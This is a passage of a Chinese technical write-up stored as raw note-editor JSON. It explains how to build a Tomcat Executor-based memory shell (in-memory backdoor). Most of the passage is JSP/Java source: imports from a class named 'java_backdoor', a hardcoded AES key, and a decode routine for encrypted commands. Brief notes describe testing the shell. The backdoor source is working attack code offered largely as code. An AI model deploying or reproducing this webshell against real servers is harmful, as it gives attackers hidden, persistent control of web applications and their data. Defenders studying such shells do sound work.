System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4EsX-1659706152438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RvTf-1659706152437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3VOh-1659706152440&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0tbE-1659706152439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gw0l-1659706152442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ttbf-1659706152441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Keq-1659706152444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KQaW-1659706152443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3do1-1659706152446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;INOC-1659706152445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gkoa-1659706152448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;92Z4-1659706152447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XboV-1659706152450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f12f-1659706152449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XLuA-1659706152452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lSZt-1659706152451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aJPq-1659706152454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CDQk-1659706152453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (threadName.contains(\&#34;exec\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7JsE-1659706152456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FV01-1659706152455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tvL8-1659706152458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRFN-1659706152457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RIKT-1659706152460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zCBA-1659706152459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6f9U-1659706152462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uyaj-1659706152461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Udf-1659706152464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQ9A-1659706152463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fUwE-1659706152466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sAFg-1659706152465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4k6U-1659706152469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WytA-1659706152468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CRB0-1659706152471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PBBi-1659706152470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EhxI-1659706152473&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mjv9-1659706152472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oZ1M-1659705949734&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o5y8-1659705949732&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上述代码中有一处 buf.position(0)的操作，其实是跟ByteBuffer的本身结构与read的实现逻辑有关，具体就不展开了，感兴趣的师傅可以跟一下过程。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7wC-1659703888796&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fZOK-1659703888794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;以url中结尾的数字来测试实效性：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6zqs-1659706552657&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE5c708e677db2e474dd6f1d409cb0f59d&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:458},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE5c708e677db2e474dd6f1d409cb0f59d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:458},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1j1L-1659706521319&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbb002612709e303eae5a08d1941e133a&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:426},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEbb002612709e303eae5a08d1941e133a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:426},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aXSv-1659703221381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YcnJ-1659703221378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bEyP-1659706697187&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/9/WEBRESOURCE8974aa3740cabaafbef71c1f8824a659&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:458},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/9/WEBRESOURCE8974aa3740cabaafbef71c1f8824a659&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:458},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vmin-1659706686498&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE83ffa56e3ade9c8b04ef2aeb6b7c7b9b&#34;,&#34;version&#34;:1,&#34;width&#34;:662,&#34;height&#34;:413},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE83ffa56e3ade9c8b04ef2aeb6b7c7b9b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:413},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dkSH-1659703214501&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZSbf-1659703214498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;jsp2.0&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p4JF-1659707105225&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oU7x-1659707105226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;另外由于Tomcat在实现默认线程池与自定义线程池时所用的Executor有些许差别，已在代码中进行修改。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sPMi-1659707094918&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sAiG-1659707094279&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVl4-1659707094278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.tomcat.util.net.NioEndpoint\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7ppl-1659707094281&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tqy6-1659707094280&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.tomcat.util.threads.ThreadPoolExecutor\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LWcp-1659707094284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SDaa-1659707094283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.TimeUnit\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HZnv-1659707094286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;frTX-1659707094285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.lang.reflect.Field\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lYVD-1659707094288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;STH8-1659707094287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.BlockingQueue\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G40B-1659707094291&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b1Vd-1659707094290&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.ThreadFactory\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3p7c-1659707094293&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PUpT-1659707094292&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.nio.ByteBuffer\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iRac-1659707094295&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CVRj-1659707094294&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.ArrayList\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BcFC-1659707094297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h0GN-1659707094296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.coyote.RequestInfo\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbaX-1659707094300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JdsY-1659707094299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.coyote.Response\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zL2j-1659707094302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3gN-1659707094301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.io.IOException\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ioA-1659707094304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sO19-1659707094303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.nio.charset.StandardCharsets\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Clga-1659707094306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qYcB-1659707094305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;com.example.java_backdoor.Executor_ms\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Biq2-1659707094308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kEq7-1659707094307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.catalina.core.StandardThreadExecutor\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ntie-1659707094310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qb5K-1659707094309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.LinkedList\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gdVC-1659707094312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZhEK-1659707094311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.nio.channels.SelectionKey\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xtrw-1659707094314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KRtf-1659707094313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page contentType=\&#34;text/html;charset=UTF-8\&#34; language=\&#34;java\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qE4r-1659707094316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F8TH-1659707094315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mai0-1659707094318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YV3a-1659707094317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BiXT-1659707094320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L7cv-1659707094319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%!&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vBbV-1659707094323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qVC2-1659707094322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static final String DEFAULT_SECRET_KEY = \&#34;blueblueblueblue\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1msH-1659707094325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G738-1659707094324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String AES = \&#34;AES\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CIHS-1659707094327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OuFf-1659707094326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final byte[] KEY_VI = \&#34;blueblueblueblue\&#34;.getBytes();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KgOI-1659707094329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2187-1659707094328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final String CIPHER_ALGORITHM = \&#34;AES/CBC/PKCS5Padding\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BRqB-1659707094331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VngV-1659707094330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MDvI-1659707094334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gPoB-1659707094332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YfbE-1659707094336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W0Kf-1659707094335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gT1x-1659707094338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PzBL-1659707094337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static String decode(String key, String content) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;akqp-1659707094340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;heUV-1659707094339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;beNO-1659707094342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZBf-1659707094341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C4EJ-1659707094344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;doC3-1659707094343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I1eu-1659707094346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zDNo-1659707094345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AChJ-1659707094348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2CsD-1659707094347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dAOD-1659707094350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ThX6-1659707094349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteContent = base64Decoder.decode(content);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5owI-1659707094352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oPYT-1659707094351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] byteDecode = cipher.doFinal(byteContent);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l1Uo-1659707094354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nAlR-1659707094353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v32S-1659707094356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F1Bv-1659707094355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) 